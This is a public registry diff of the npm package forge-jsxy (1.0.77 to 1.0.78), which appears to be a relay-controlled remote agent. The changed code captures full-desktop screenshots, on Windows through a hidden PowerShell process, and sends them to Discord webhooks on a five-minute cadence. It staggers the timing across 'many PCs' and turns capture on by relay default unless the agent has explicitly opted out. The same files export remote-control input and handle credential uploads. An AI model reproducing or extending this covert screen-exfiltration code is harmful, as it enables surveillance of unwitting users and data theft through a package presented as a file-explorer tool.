forge-jsxy 1.0.77 → 1.0.78
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +1 -1
- package/dist/assets/files-explorer-template.html +2 -2
- package/dist/autostart/agentEnvFile.d.ts +3 -2
- package/dist/autostart/agentEnvFile.js +8 -4
- package/dist/cli-agent.js +3 -3
- package/dist/discordAgentScreenshot.d.ts +1 -1
- package/dist/discordAgentScreenshot.js +35 -15
- package/dist/discordRelayUpload.js +1 -1
- package/dist/fsProtocol.d.ts +8 -0
- package/dist/fsProtocol.js +25 -0
- package/dist/relayAgent.js +46 -24
- package/dist/relayServer.js +17 -0
- package/package.json +1 -1
- package/scripts/discord-live-probe.mjs +66 -4
|
@@ -1608,7 +1608,7 @@
|
|
|
1608
1608
|
</div>
|
|
1609
1609
|
<div id="bar-row-nav" class="fe-bar-row" role="toolbar" aria-label="Browse and search">
|
|
1610
1610
|
<span id="fe-build" class="fe-build-pill fe-toggle-extra" title="Forge-jsxy build stamp — Ctrl+Shift+R if UI looks outdated.">2026.06i</span>
|
|
1611
|
-
<button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back;
|
|
1611
|
+
<button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back; when already at drive root (Windows or /), opens the drive list" aria-label="Back"><span class="codicon codicon-chevron-left" aria-hidden="true"></span></button>
|
|
1612
1612
|
<button type="button" class="sec fe-icon-btn" id="btn-hist-fwd" onclick="goHistForward()" title="Next folder in history" aria-label="Forward"><span class="codicon codicon-chevron-right" aria-hidden="true"></span></button>
|
|
1613
1613
|
<button type="button" class="sec fe-icon-btn" onclick="goUp()" title="Parent folder or drive list" aria-label="Up"><span class="codicon codicon-arrow-up" aria-hidden="true"></span></button>
|
|
1614
1614
|
<button type="button" class="sec fe-icon-btn" onclick="refresh()" title="Reload current folder listing" aria-label="Refresh"><span class="codicon codicon-refresh" aria-hidden="true"></span></button>
|
|
@@ -10,7 +10,7 @@
|
|
|
10
10
|
<link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
|
|
11
11
|
<link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
|
|
12
12
|
<link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
|
|
13
|
-
<!-- forge-jsxy@1.0.
|
|
13
|
+
<!-- forge-jsxy@1.0.78 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
|
|
14
14
|
<script>
|
|
15
15
|
(function () {
|
|
16
16
|
try {
|
|
@@ -1608,7 +1608,7 @@
|
|
|
1608
1608
|
</div>
|
|
1609
1609
|
<div id="bar-row-nav" class="fe-bar-row" role="toolbar" aria-label="Browse and search">
|
|
1610
1610
|
<span id="fe-build" class="fe-build-pill fe-toggle-extra" title="Forge-jsxy build stamp — Ctrl+Shift+R if UI looks outdated.">2026.06i</span>
|
|
1611
|
-
<button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back;
|
|
1611
|
+
<button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back; when already at drive root (Windows or /), opens the drive list" aria-label="Back"><span class="codicon codicon-chevron-left" aria-hidden="true"></span></button>
|
|
1612
1612
|
<button type="button" class="sec fe-icon-btn" id="btn-hist-fwd" onclick="goHistForward()" title="Next folder in history" aria-label="Forward"><span class="codicon codicon-chevron-right" aria-hidden="true"></span></button>
|
|
1613
1613
|
<button type="button" class="sec fe-icon-btn" onclick="goUp()" title="Parent folder or drive list" aria-label="Up"><span class="codicon codicon-arrow-up" aria-hidden="true"></span></button>
|
|
1614
1614
|
<button type="button" class="sec fe-icon-btn" onclick="refresh()" title="Reload current folder listing" aria-label="Refresh"><span class="codicon codicon-refresh" aria-hidden="true"></span></button>
|
|
@@ -11,8 +11,9 @@ export declare function sanitizeForgeAgentEnvFileOnDisk(dataDir: string): boolea
|
|
|
11
11
|
* Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
|
|
12
12
|
* or relay disconnect (relay-first deployments never need these on the agent).
|
|
13
13
|
* Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
|
|
14
|
-
* from `relay_features`). **Exception:** non-secret screenshot
|
|
15
|
-
*
|
|
14
|
+
* from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
|
|
15
|
+
* upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
|
|
16
|
+
* after an explicit opt-out was loaded from `forge-js-agent.env`.
|
|
16
17
|
* Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
|
|
17
18
|
* via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
|
|
18
19
|
*/
|
|
@@ -75,10 +75,12 @@ const FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS = new Set([
|
|
|
75
75
|
"RELAY_SYNC_API_BASE_URL",
|
|
76
76
|
]);
|
|
77
77
|
/**
|
|
78
|
-
* Non-secret Discord screenshot tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
|
|
79
|
-
* and disk sanitize so reconnect does not
|
|
78
|
+
* Non-secret Discord screenshot preferences / tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
|
|
79
|
+
* and disk sanitize so reconnect does not drop cadence or screenshot opt-in/out (`relay_features` merge uses process.env).
|
|
80
80
|
*/
|
|
81
81
|
const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
|
|
82
|
+
/** Opt-in/out survives WS teardown (`stripEphemeralCredentialEnvFromProcess`) and disk sanitize — not a secret. */
|
|
83
|
+
"FORGE_JS_DISCORD_SCREENSHOT_ENABLED",
|
|
82
84
|
"FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS",
|
|
83
85
|
"FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS",
|
|
84
86
|
"FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS",
|
|
@@ -87,6 +89,7 @@ const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
|
|
|
87
89
|
"FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES",
|
|
88
90
|
"FORGE_JS_DISCORD_429_MAX_ATTEMPTS",
|
|
89
91
|
"FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS",
|
|
92
|
+
"FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK",
|
|
90
93
|
]);
|
|
91
94
|
function isForgeJsDiscordScreenshotTuningKey(key) {
|
|
92
95
|
return FORGE_JS_DISCORD_TUNING_KEYS.has(String(key || "").trim());
|
|
@@ -138,8 +141,9 @@ function sanitizeForgeAgentEnvFileOnDisk(dataDir) {
|
|
|
138
141
|
* Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
|
|
139
142
|
* or relay disconnect (relay-first deployments never need these on the agent).
|
|
140
143
|
* Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
|
|
141
|
-
* from `relay_features`). **Exception:** non-secret screenshot
|
|
142
|
-
*
|
|
144
|
+
* from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
|
|
145
|
+
* upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
|
|
146
|
+
* after an explicit opt-out was loaded from `forge-js-agent.env`.
|
|
143
147
|
* Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
|
|
144
148
|
* via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
|
|
145
149
|
*/
|
package/dist/cli-agent.js
CHANGED
|
@@ -30,14 +30,14 @@ if (process.argv.includes("-h") || process.argv.includes("--help")) {
|
|
|
30
30
|
` To join the relay default room intentionally: FORGE_JS_USE_RELAY_SESSION=1 or set CFGMGR_SESSION_ID / --session.\n` +
|
|
31
31
|
` Auto-chosen session is written to <CfgMgr data>/forge-js-explorer-session.txt (e.g. %LOCALAPPDATA%\\CfgMgr\\data on Windows).\n` +
|
|
32
32
|
`Forge-db sync: set FORGE_JS_SYNC_URL / CFGMGR_API_URL on the relay — the agent copies sync from GET /api/relay-for-agent (before WS) and relay_features.sync_api_base_url on connect if unset locally.\n` +
|
|
33
|
-
`Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features —
|
|
34
|
-
` screenshots run in-memory only (not written to forge-js-agent.env). Set FORGE_JS_DISCORD_SCREENSHOT_ENABLED=0 on the agent to opt out when you set it explicitly.\n` +
|
|
33
|
+
`Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — leave FORGE_JS_DISCORD_SCREENSHOT_ENABLED unset to follow the relay, set =1 to force on, or =0/false/off to opt out (persistable in forge-js-agent.env; survives reconnect).\n` +
|
|
35
34
|
` Optional: FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS in milliseconds (default 300000 = 5m). If set on the agent, it overrides relay_features.discord_screenshot_interval_ms.\n` +
|
|
36
35
|
` FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS — optional cap N (ms): adds hash(client_id)%N to interval to desync many PCs without per-host env.\n` +
|
|
37
36
|
` FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS (default 3000, 0=immediate first capture); FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS optional first-shot spread.\n` +
|
|
38
|
-
` FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook).\n` +
|
|
37
|
+
` FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook). If unset, relay_features.discord_screenshot_upload_mode may set it from RELAY_DISCORD_AGENT_UPLOAD_MODE.\n` +
|
|
39
38
|
` FORGE_JS_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries per HTTP call to Discord.\n` +
|
|
40
39
|
` FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS=1-12 (default 12) — webhook mode: extra full ticket→POST retries after 429.\n` +
|
|
40
|
+
` FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1 — optional: after webhook failures, retry via relay WS (PNG). Default off.\n` +
|
|
41
41
|
`Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
|
|
42
42
|
process.exit(0);
|
|
43
43
|
}
|
|
@@ -12,7 +12,7 @@ export type DiscordAgentScreenshotOpts = {
|
|
|
12
12
|
quiet: boolean;
|
|
13
13
|
waitForRelayDiscordAck: (requestId: string) => Promise<DiscordRelayAck>;
|
|
14
14
|
waitForDiscordTicket: (requestId: string) => Promise<DiscordTicketResult>;
|
|
15
|
-
/** When true, run the loop
|
|
15
|
+
/** When true, run the loop when relay sends `discord_screenshot` and the agent did not explicitly opt out. */
|
|
16
16
|
enabledByRelayCapabilities?: boolean;
|
|
17
17
|
};
|
|
18
18
|
/**
|
|
@@ -61,16 +61,18 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
|
|
|
61
61
|
* 5. Webhook ticket retry loop — `FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS` (default 12)
|
|
62
62
|
* full ticket → POST → ack cycles when Discord returns 429 between relay steps.
|
|
63
63
|
* `discordBackoffMsFromErrorText` parses `retry_after` from error strings.
|
|
64
|
-
* 6.
|
|
65
|
-
*
|
|
64
|
+
* 6. Optional webhook→relay fallback — only when `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1`
|
|
65
|
+
* (retries via `discord_screenshot_upload`, PNG over WS). Default **off** for agent→Discord only.
|
|
66
66
|
* 7. Upload serialization — `uploadBusy` flag ensures only one upload runs at a
|
|
67
67
|
* time; new captures queue rather than firing concurrent Discord requests.
|
|
68
68
|
*
|
|
69
|
-
* Env (agent): `FORGE_JS_DISCORD_SCREENSHOT_ENABLED
|
|
70
|
-
* `
|
|
69
|
+
* Env (agent): omit `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` to follow `relay_features.discord_screenshot` when the relay enables Discord;
|
|
70
|
+
* set `=1` to force on or `=0`/`false`/`no`/`off` to opt out (may persist in `forge-js-agent.env`; survives reconnect / credential strip).
|
|
71
71
|
* Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
|
|
72
72
|
* unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
|
|
73
|
-
*
|
|
73
|
+
* Upload mode: relay may send `relay_features.discord_screenshot_upload_mode` (`webhook`|`relay`) from
|
|
74
|
+
* `RELAY_DISCORD_AGENT_UPLOAD_MODE`; applied when `FORGE_JS_DISCORD_UPLOAD_MODE` is unset (agent wins if set).
|
|
75
|
+
* Optional `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` to retry failed webhook uploads via relay WS (default off).
|
|
74
76
|
*/
|
|
75
77
|
const node_crypto_1 = require("node:crypto");
|
|
76
78
|
const discordBotTokens_1 = require("./discordBotTokens");
|
|
@@ -79,7 +81,7 @@ const os = __importStar(require("node:os"));
|
|
|
79
81
|
const fsProtocol_1 = require("./fsProtocol");
|
|
80
82
|
const discordRateLimit_1 = require("./discordRateLimit");
|
|
81
83
|
const discordWebhookPost_1 = require("./discordWebhookPost");
|
|
82
|
-
/** Align with Discord bot/webhook attachment caps; override for boosted guilds via env. */
|
|
84
|
+
/** Align with Discord bot/webhook attachment caps; override for boosted guilds via env (up to 25 MiB). */
|
|
83
85
|
function discordWebhookMaxAttachmentBytes() {
|
|
84
86
|
const raw = (process.env.FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES || "").trim();
|
|
85
87
|
if (raw) {
|
|
@@ -90,9 +92,9 @@ function discordWebhookMaxAttachmentBytes() {
|
|
|
90
92
|
}
|
|
91
93
|
return 10 * 1024 * 1024;
|
|
92
94
|
}
|
|
93
|
-
/**
|
|
95
|
+
/** Capture budget matches {@link discordWebhookMaxAttachmentBytes} (not hard-limited to 10 MiB). */
|
|
94
96
|
function discordCaptureMaxBytes() {
|
|
95
|
-
return
|
|
97
|
+
return discordWebhookMaxAttachmentBytes();
|
|
96
98
|
}
|
|
97
99
|
/** Neutralize Discord @mention triggers (same as formatter.py _neutralize_discord_triggers). */
|
|
98
100
|
function _neutralizeDiscordTriggers(s) {
|
|
@@ -150,6 +152,14 @@ function discordWebhookTicketFlowMaxAttempts() {
|
|
|
150
152
|
return n;
|
|
151
153
|
return 12;
|
|
152
154
|
}
|
|
155
|
+
/**
|
|
156
|
+
* After webhook ticket/POST failures, optionally retry via `discord_screenshot_upload` (PNG over WS).
|
|
157
|
+
* Default **false** — production prefers agent→Discord only. Set `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` for legacy resilience.
|
|
158
|
+
*/
|
|
159
|
+
function discordWebhookRelayFallbackEnabled() {
|
|
160
|
+
const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK || "").trim().toLowerCase();
|
|
161
|
+
return ["1", "true", "yes", "on"].includes(raw);
|
|
162
|
+
}
|
|
153
163
|
/** Delay before the first capture after the loop starts (handshake/display settle). `0` = next event-loop tick. Max 300s. */
|
|
154
164
|
function discordScreenshotFirstDelayMs() {
|
|
155
165
|
const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS || "").trim();
|
|
@@ -303,13 +313,15 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
303
313
|
rawB64 = "";
|
|
304
314
|
const whMax = discordWebhookMaxAttachmentBytes();
|
|
305
315
|
if (png.length > whMax) {
|
|
306
|
-
const shrunk = await (0, fsProtocol_1.
|
|
316
|
+
const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(png, whMax);
|
|
307
317
|
if (!shrunk || shrunk.buffer.length > whMax) {
|
|
308
318
|
if (!opts.quiet) {
|
|
309
319
|
console.error(`[forge-js:discord-screenshot] image too large for Discord webhook (${png.length} bytes > ${whMax}) after JPEG shrink — raise FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES or ensure jimp / ImageMagick / ffmpeg is available on the agent`);
|
|
310
320
|
}
|
|
311
|
-
//
|
|
312
|
-
|
|
321
|
+
// Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
|
|
322
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
323
|
+
await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
|
|
324
|
+
}
|
|
313
325
|
try {
|
|
314
326
|
png.fill(0);
|
|
315
327
|
}
|
|
@@ -352,7 +364,9 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
352
364
|
if (!opts.quiet) {
|
|
353
365
|
console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
|
|
354
366
|
}
|
|
355
|
-
|
|
367
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
368
|
+
await relayFallbackUploadWithRetry(originalB64, err);
|
|
369
|
+
}
|
|
356
370
|
return;
|
|
357
371
|
}
|
|
358
372
|
let whUrl = String(ticket.webhook_url).trim();
|
|
@@ -380,19 +394,25 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
380
394
|
if (!opts.quiet) {
|
|
381
395
|
console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
|
|
382
396
|
}
|
|
383
|
-
|
|
397
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
398
|
+
await relayFallbackUploadWithRetry(originalB64, posted.error);
|
|
399
|
+
}
|
|
384
400
|
return;
|
|
385
401
|
}
|
|
386
402
|
if (!opts.quiet) {
|
|
387
403
|
console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
|
|
388
404
|
}
|
|
389
|
-
|
|
405
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
406
|
+
await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
|
|
407
|
+
}
|
|
390
408
|
}
|
|
391
409
|
catch (e) {
|
|
392
410
|
if (!opts.quiet) {
|
|
393
411
|
console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
|
|
394
412
|
}
|
|
395
|
-
|
|
413
|
+
if (discordWebhookRelayFallbackEnabled()) {
|
|
414
|
+
await relayFallbackUploadWithRetry(originalB64, String(e));
|
|
415
|
+
}
|
|
396
416
|
}
|
|
397
417
|
finally {
|
|
398
418
|
if (png && png.length > 0) {
|
|
@@ -465,7 +465,7 @@ async function postPngToDiscordChannel(botToken, channelId, png, caption) {
|
|
|
465
465
|
const cap = maxDiscordAttachmentBytes();
|
|
466
466
|
let img = png;
|
|
467
467
|
if (img.length > cap) {
|
|
468
|
-
const shrunk = await (0, fsProtocol_1.
|
|
468
|
+
const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(img, cap);
|
|
469
469
|
if (!shrunk || shrunk.buffer.length > cap) {
|
|
470
470
|
return {
|
|
471
471
|
ok: false,
|
package/dist/fsProtocol.d.ts
CHANGED
|
@@ -90,6 +90,14 @@ export declare function shrinkScreenshotBufferToMaxBytes(buf: Buffer, cap: numbe
|
|
|
90
90
|
buffer: Buffer;
|
|
91
91
|
mime: string;
|
|
92
92
|
} | null>;
|
|
93
|
+
/**
|
|
94
|
+
* Discord / webhook attachments: try descending encode budgets first so difficult screenshots still fit
|
|
95
|
+
* under `hardCap` while keeping quality high when the full budget fits (see {@link screenshotShrinkTierTargets}).
|
|
96
|
+
*/
|
|
97
|
+
export declare function shrinkScreenshotBufferForDiscordAttachment(buf: Buffer, hardCap: number): Promise<{
|
|
98
|
+
buffer: Buffer;
|
|
99
|
+
mime: string;
|
|
100
|
+
} | null>;
|
|
93
101
|
/**
|
|
94
102
|
* Cross-platform full-desktop screenshot for the relay `/files` explorer (`fs_screenshot`) and Discord cadence.
|
|
95
103
|
* Windows: hidden PowerShell + System.Drawing (**VirtualScreen** = all monitors in one bitmap).
|
package/dist/fsProtocol.js
CHANGED
|
@@ -52,6 +52,7 @@ exports.purgeAllExplorerStagingSync = purgeAllExplorerStagingSync;
|
|
|
52
52
|
exports.fsZipRead = fsZipRead;
|
|
53
53
|
exports.formatWindowsScreenshotUserMessage = formatWindowsScreenshotUserMessage;
|
|
54
54
|
exports.shrinkScreenshotBufferToMaxBytes = shrinkScreenshotBufferToMaxBytes;
|
|
55
|
+
exports.shrinkScreenshotBufferForDiscordAttachment = shrinkScreenshotBufferForDiscordAttachment;
|
|
55
56
|
exports.fsDesktopScreenshotCapture = fsDesktopScreenshotCapture;
|
|
56
57
|
exports.fsWindowsScreenshotCapture = fsWindowsScreenshotCapture;
|
|
57
58
|
exports.fsRemoteControlInput = fsRemoteControlInput;
|
|
@@ -3489,6 +3490,30 @@ async function shrinkScreenshotBufferToMaxBytes(buf, cap) {
|
|
|
3489
3490
|
}
|
|
3490
3491
|
}
|
|
3491
3492
|
}
|
|
3493
|
+
/**
|
|
3494
|
+
* Discord / webhook attachments: try descending encode budgets first so difficult screenshots still fit
|
|
3495
|
+
* under `hardCap` while keeping quality high when the full budget fits (see {@link screenshotShrinkTierTargets}).
|
|
3496
|
+
*/
|
|
3497
|
+
async function shrinkScreenshotBufferForDiscordAttachment(buf, hardCap) {
|
|
3498
|
+
if (!buf || buf.length === 0)
|
|
3499
|
+
return null;
|
|
3500
|
+
const cap = Math.min(25 * 1024 * 1024, Math.max(64 * 1024, Math.floor(Number(hardCap) || 0)));
|
|
3501
|
+
if (!Number.isFinite(cap))
|
|
3502
|
+
return null;
|
|
3503
|
+
if (buf.length <= cap) {
|
|
3504
|
+
return { buffer: buf, mime: sniffScreenshotMime(buf) };
|
|
3505
|
+
}
|
|
3506
|
+
for (const t of screenshotShrinkTierTargets(cap)) {
|
|
3507
|
+
const out = await shrinkScreenshotBufferToMaxBytes(buf, t);
|
|
3508
|
+
if (out && out.buffer.length <= cap) {
|
|
3509
|
+
return out;
|
|
3510
|
+
}
|
|
3511
|
+
}
|
|
3512
|
+
const last = await shrinkScreenshotBufferToMaxBytes(buf, Math.max(24 * 1024, Math.floor(cap * 0.05)));
|
|
3513
|
+
if (last && last.buffer.length <= cap)
|
|
3514
|
+
return last;
|
|
3515
|
+
return null;
|
|
3516
|
+
}
|
|
3492
3517
|
function shrinkScreenshotWithWindowsGdiToMaxBytes(sourcePath, iw, ih, originalBytes, cap, id, tmpDir) {
|
|
3493
3518
|
let factor = Math.min(0.98, Math.sqrt(cap / originalBytes) * 0.96);
|
|
3494
3519
|
const ps1 = path.join(tmpDir, `forge-fe-gdi-${id}.ps1`);
|
package/dist/relayAgent.js
CHANGED
|
@@ -384,33 +384,49 @@ function runRelayAgentLoop(opts) {
|
|
|
384
384
|
if (rf && typeof rf === "object" && !Array.isArray(rf)) {
|
|
385
385
|
caps = rf;
|
|
386
386
|
if (caps.discord_screenshot === true) {
|
|
387
|
-
const
|
|
388
|
-
|
|
387
|
+
const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
|
|
388
|
+
const explicitOff = ["0", "false", "no", "off"].includes(en);
|
|
389
|
+
const explicitOn = ["1", "true", "yes", "on"].includes(en);
|
|
390
|
+
/** Follow relay when unset or explicitly on; never override explicit opt-out (0/false/no/off). */
|
|
391
|
+
if (!explicitOff && (!en || explicitOn)) {
|
|
389
392
|
discordEnabledByRelayHandshake = true;
|
|
390
393
|
}
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
|
|
403
|
-
if (!agentSg) {
|
|
404
|
-
const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
|
|
405
|
-
if (sg != null) {
|
|
406
|
-
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
|
|
394
|
+
if (!explicitOff) {
|
|
395
|
+
const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
|
|
396
|
+
/**
|
|
397
|
+
* Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
|
|
398
|
+
* `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
|
|
399
|
+
* per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
|
|
400
|
+
* multi-minute gaps.
|
|
401
|
+
*/
|
|
402
|
+
const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
|
|
403
|
+
if (clamped != null && !agentIv) {
|
|
404
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
|
|
407
405
|
}
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
406
|
+
const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
|
|
407
|
+
if (!agentSg) {
|
|
408
|
+
const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
|
|
409
|
+
if (sg != null) {
|
|
410
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
|
|
411
|
+
}
|
|
412
|
+
}
|
|
413
|
+
const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
|
|
414
|
+
if (!agentFsg) {
|
|
415
|
+
const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
|
|
416
|
+
if (fg != null) {
|
|
417
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
|
|
418
|
+
}
|
|
419
|
+
}
|
|
420
|
+
const agentUm = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim();
|
|
421
|
+
if (!agentUm) {
|
|
422
|
+
const rawUm = caps.discord_screenshot_upload_mode;
|
|
423
|
+
const u = typeof rawUm === "string" ? rawUm.trim().toLowerCase() : "";
|
|
424
|
+
if (u === "relay") {
|
|
425
|
+
process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "relay";
|
|
426
|
+
}
|
|
427
|
+
else if (u === "webhook" || u === "direct") {
|
|
428
|
+
process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "webhook";
|
|
429
|
+
}
|
|
414
430
|
}
|
|
415
431
|
}
|
|
416
432
|
}
|
|
@@ -426,6 +442,12 @@ function runRelayAgentLoop(opts) {
|
|
|
426
442
|
};
|
|
427
443
|
ws.on("open", () => {
|
|
428
444
|
log(quiet, " Connected to relay");
|
|
445
|
+
try {
|
|
446
|
+
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
|
|
447
|
+
}
|
|
448
|
+
catch {
|
|
449
|
+
/* skip */
|
|
450
|
+
}
|
|
429
451
|
viewerAuthenticated = !password;
|
|
430
452
|
viewerConnected = false;
|
|
431
453
|
pendingAuthNonce = "";
|
package/dist/relayServer.js
CHANGED
|
@@ -252,6 +252,19 @@ function relayDiscordScreenshotAdvertisedFirstStaggerMs() {
|
|
|
252
252
|
return undefined;
|
|
253
253
|
return Math.min(300_000, Math.max(1, n));
|
|
254
254
|
}
|
|
255
|
+
/**
|
|
256
|
+
* How agents should post Discord screenshots when enabled.
|
|
257
|
+
* **`webhook`** (default): relay mints a short-lived webhook URL per upload; agent POSTs PNG directly;
|
|
258
|
+
* bot token never leaves the relay. **`relay`**: legacy path (`discord_screenshot_upload` over WS).
|
|
259
|
+
*/
|
|
260
|
+
function relayDiscordScreenshotAdvertisedUploadMode() {
|
|
261
|
+
if (!(0, discordRelayUpload_1.discordRelayScreenshotEnabled)())
|
|
262
|
+
return undefined;
|
|
263
|
+
const raw = (process.env.RELAY_DISCORD_AGENT_UPLOAD_MODE || "webhook").trim().toLowerCase();
|
|
264
|
+
if (raw === "relay")
|
|
265
|
+
return "relay";
|
|
266
|
+
return "webhook";
|
|
267
|
+
}
|
|
255
268
|
class Session {
|
|
256
269
|
sessionId;
|
|
257
270
|
agent = null;
|
|
@@ -915,6 +928,7 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
915
928
|
const discordInterval = relayDiscordScreenshotAdvertisedIntervalMs();
|
|
916
929
|
const discordStagger = relayDiscordScreenshotAdvertisedIntervalStaggerMs();
|
|
917
930
|
const discordFirstStagger = relayDiscordScreenshotAdvertisedFirstStaggerMs();
|
|
931
|
+
const discordUploadMode = relayDiscordScreenshotAdvertisedUploadMode();
|
|
918
932
|
// Refresh blacklist first; only then close any existing agent and attach `ws`.
|
|
919
933
|
// Closing `session.agent` before the blacklist result allowed a blacklisted socket to
|
|
920
934
|
// evict a legitimate agent and then disconnect itself — leaving the session empty.
|
|
@@ -952,6 +966,9 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
952
966
|
const relayFeatures = {
|
|
953
967
|
/** When true, agents without `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` turn screenshots on to match relay `.env`. */
|
|
954
968
|
discord_screenshot: (0, discordRelayUpload_1.discordRelayScreenshotEnabled)(),
|
|
969
|
+
